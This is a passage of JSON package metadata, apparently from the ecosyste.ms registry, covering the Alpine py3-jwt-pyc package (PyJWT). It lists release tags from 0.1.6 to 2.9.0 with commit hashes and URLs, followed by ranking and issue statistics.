Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.734Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-jwt-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.20","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt-pyc/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jp